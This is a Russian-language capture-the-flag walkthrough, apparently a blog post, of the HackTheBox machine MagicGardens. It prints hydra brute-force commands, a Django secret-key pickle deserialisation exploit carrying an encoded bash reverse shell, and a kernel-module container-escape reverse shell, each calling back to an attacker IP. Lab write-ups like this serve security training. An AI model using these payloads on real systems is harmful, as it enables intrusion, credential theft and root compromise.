Telegram / Boosty / Видео
Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.
Также на https://boosty.to/kiberdruzhinnik/posts/1216bae3-08d7-46cd-bf57-38bb24b38898 я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.
Обзор сервисов
Проверяем порты с помощью nmap
:
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
25/tcp open smtp? syn-ack ttl 63
80/tcp open http syn-ack ttl 63 nginx 1.22.1
1337/tcp open waste? syn-ack ttl 63
5000/tcp open ssl/http syn-ack ttl 62 Docker Registry (API: 2.0)
Веб
Попадаем на магазин цветов и регистрируем себе аккаунт:
При покупке подписки видим разные банки:
honestbank.htb
magicalbank.htb
plunders.htb
Создадим себе Flask приложение:
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/', defaults={'path': ''}, methods=['GET', 'POST', 'PUT', 'DELETE', 'HEAD', 'OPTIONS', 'PATCH'])
@app.route('/<path:path>', methods=['GET', 'POST', 'PUT', 'DELETE', 'HEAD', 'OPTIONS', 'PATCH'])
def catch_all(path):
print(request.__dict__)
print(request.get_json())
print(request.get_data())
res = request.get_json()
res["status"] = "200"
return jsonify(res)
if __name__ == "__main__":
app.run(host="0.0.0.0")
И завернем покупку подписки на этот сервис:
После заказа товара узнаем о пользователе morty
:
Далее брутфорсим SSH:
hydra -l morty -P ~/wordlists/rockyou.txt ssh://magicgardens.htb
SSH
После логина на SSH обнаруживаем пользователя alex
. С помощью alex
брутим Docker Registry:
hydra -l alex -P ~/wordlists/rockyou.txt -s 5000 -f magicgardens.htb https-get /v2/_catalog
С этими кредами идем в Docker Registry и узнаем про контейнер:
Качаем контейнер к себе на машину, запускаем и внутри находим файл .env
:
cat .env
DEBUG=False
SECRET_KEY=***
Это позволяет нам выполнить Django Secret Key to RCE с помощью скрипта:
import os
import base64
import django
from django.conf import settings
import django.core.signing
import pickle
# Configure Django settings
settings.configure(
SECRET_KEY='***',
)
django.setup()
salt = "django.contrib.sessions.backends.signed_cookies"
class PickleSerializer:
"""
Simple wrapper around pickle to be used in signing.dumps and
signing.loads.
"""
def dumps(self, obj):
return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)
def loads(self, data):
return pickle.loads(data)
class Command:
def __reduce__(self):
return (os.system, ('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMDcvNDI0MiAwPiYxCg== | base64 -d | bash',))
cookie = django.core.signing.dumps(
Command(), key=settings.SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(cookie)
После выполнения скрипта получаем нужную куку и вставляем ее в sessionid
по адресу http://magicgardens.htb/admin/
, затем ловим шелл:
Смотрим на Linux Capabilities в контейнере:
$ capsh --print
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap=ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: !cap_dac_read_search,!cap_linux_immutable,!cap_net_broadcast,!cap_net_admin,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_rawio,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,!cap_audit_control,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read,!cap_perfmon,!cap_bpf,!cap_checkpoint_restore
Securebits: 00/0x0/1'b0 (no-new-privs=0)
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=0(root)
Guessed mode: HYBRID (4)
Мы можем загрузить модуль ядра и получить root
. Просто воспользуемся ссылкой https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd.
Из-под morty
соберем модуль ядра:
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.107/4244 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
Теперь файл reverse-shell.ko
переносим в контейнер magicgardens.htb
, который мы получили чуть ранее.
Запускаем слушателя у себя и подгружаем модуль ядра:
insmod reverse-shell.ko